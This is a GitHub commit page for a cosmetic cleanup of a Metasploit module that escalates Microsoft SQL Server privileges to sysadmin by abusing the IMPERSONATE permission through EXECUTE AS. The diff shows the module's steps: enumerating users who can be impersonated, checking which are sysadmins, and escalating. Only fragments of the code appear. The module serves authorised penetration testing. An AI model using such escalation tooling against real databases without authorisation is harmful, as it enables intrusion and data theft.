Skip to content

Commit 2c33642

Browse files
committed
Do minor cleanup
1 parent 12ae8b3 commit 2c33642

File tree

1 file changed

+12
-12
lines changed

1 file changed

+12
-12
lines changed

modules/auxiliary/admin/mssql/mssql_escalate_executeas.rb

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -12,15 +12,15 @@ class Metasploit3 < Msf::Auxiliary
1212

1313
def initialize(info = {})
1414
super(update_info(info,
15-
'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS',
16-
'Description' => %q{
17-
This module can be used escalate privileges if the IMPERSONATION privilege has been assigned to the user.
18-
In most cases this results in additional data access, but in some cases it can be used to gain sysadmin
19-
privileges.
15+
'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS',
16+
'Description' => %q{
17+
This module can be used escalate privileges if the IMPERSONATION privilege has been
18+
assigned to the user. In most cases this results in additional data access, but in
19+
some cases it can be used to gain sysadmin privileges.
2020
},
21-
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
22-
'License' => MSF_LICENSE,
23-
'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
21+
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
22+
'License' => MSF_LICENSE,
23+
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
2424
))
2525
end
2626

@@ -52,7 +52,7 @@ def run
5252
print_status("Enumerating a list of users that can be impersonated...")
5353
imp_user_list = check_imp_users
5454
if imp_user_list.nil? || imp_user_list.length == 0
55-
print_error('Sorry, the current user doesnt have permissions to impersonate anyone.')
55+
print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.')
5656
disconnect
5757
return
5858
else
@@ -67,7 +67,7 @@ def run
6767
print_status('Checking if any of them are sysadmins...')
6868
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
6969
if imp_user_sysadmin.nil?
70-
print_error("Sorry, none of the users that can be impersonated are sysadmins.")
70+
print_error('Sorry, none of the users that can be impersonated are sysadmins.')
7171
disconnect
7272
return
7373
end
@@ -81,10 +81,10 @@ def run
8181
if user_status == 1
8282
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
8383
else
84-
print_error("Fail buckets, something went wrong.")
84+
print_error('Fail buckets, something went wrong.')
8585
end
8686
else
87-
print_error("Error while trying to escalate privileges.")
87+
print_error('Error while trying to escalate privileges.')
8888
end
8989

9090
disconnect

0 commit comments

Comments
 (0)